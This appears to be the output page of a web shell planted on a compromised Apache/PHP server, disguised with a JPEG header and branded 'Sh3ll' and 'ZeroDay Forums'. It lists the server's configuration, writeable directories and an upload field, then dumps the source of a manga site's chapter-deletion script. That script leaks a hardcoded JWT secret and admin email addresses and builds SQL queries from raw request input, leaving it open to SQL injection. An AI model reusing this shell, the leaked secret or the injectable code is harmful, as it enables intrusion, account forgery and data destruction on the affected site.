ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/delete_chapter.php
<?php
define('ROOT_PATH', dirname(__FILE__) . '/');
require ROOT_PATH."include/configs.php";
require ROOT_PATH."include/const.php";
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE		=	new info();
include ROOT_PATH.'lib/class_jsonwebtoken.php';
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
require ROOT_PATH."include/functions/index.php";

if(isset($_COOKIE['cookie_local_token_new']) and $_COOKIE['cookie_local_token_new']!=''){
    $ob_user = new stdClass();
    $ob_user = JWT::decode($_COOKIE['cookie_local_token_new'], 'NHG#789-2017', array('HS256'));
    $user_id = intval($ob_user->user_id);
    $row_user = $DB->fetch_row($DB->query("SELECT user_key,user_type FROM tb_user WHERE user_id='$user_id'"));
    if(!$row_user or !in_array($row_user['user_type'],array('cbnv','staff','admin')) or !in_array($row_user['user_key'],array('manhualikemanga@gmail.com','phanvanlo1997@gmail.com'))){
        $print->refresh('index.html');
        exit();
    }
}else{
    $print->refresh('index.html');
    exit();
}

//check option
$q_option = $DB->query("SELECT * FROM tb_options");
while ($r_option = $DB->fetch_row($q_option)){
    $arr_option[$r_option['option_name']] = $r_option['option_value'];
}

$truyen_id = $CORE->input['truyen_id'] ?? 0;
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' "));
$chuong_id = $CORE->input['chuong_id'] ?? 0;
$r_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
$q_chuong_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");

/*$ftp_domain = $arr_ftp['ftp_domain'];
$ftp_hostname = $arr_ftp['ftp_hostname'];
$ftp_username =  $arr_ftp['ftp_username'];
$ftp_password =  $arr_ftp['ftp_password'];
$path_of_storage = $arr_ftp['path_of_storage'];
$ftpcon = ftp_connect($ftp_hostname) or die('Error connecting to ftp server...');
$ftplogin = ftp_login($ftpcon, $ftp_username, $ftp_password) or die('Error login '.$ftp_username.' to ftp server...');
ftp_pasv($ftpcon, true);
while($r_chuong_img = $DB->fetch_row($q_chuong_img)){
    $remote_dir = $r_chuong_img['path_of_storage'].'/'.$r_chuong_img['url_dir'];
    ftp_rrmdir($ftpcon, $remote_dir);
}
ftp_close($ftpcon);*/
$DB->query("DELETE FROM tb_chuong_imgshow WHERE chuong_id='$chuong_id' ");
$DB->query("DELETE FROM tb_chuong WHERE chuong_id='$chuong_id' ");
$DB->query("DELETE FROM tb_chuong_img WHERE chuong_id='$chuong_id' ");
//update truyen
$row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
$DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='0' WHERE truyen_id='$truyen_id'");
$q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
$i=1;
while($r_chuong = $DB->fetch_row($q_chuong)){
    if($i==1){
        $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
    }
    if($i==2){
        if($r_chuong['chuong_id']>0){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
    }
    $i++;
}
echo $chuong_id;
exit();
?>

ZeroDay Forums Mini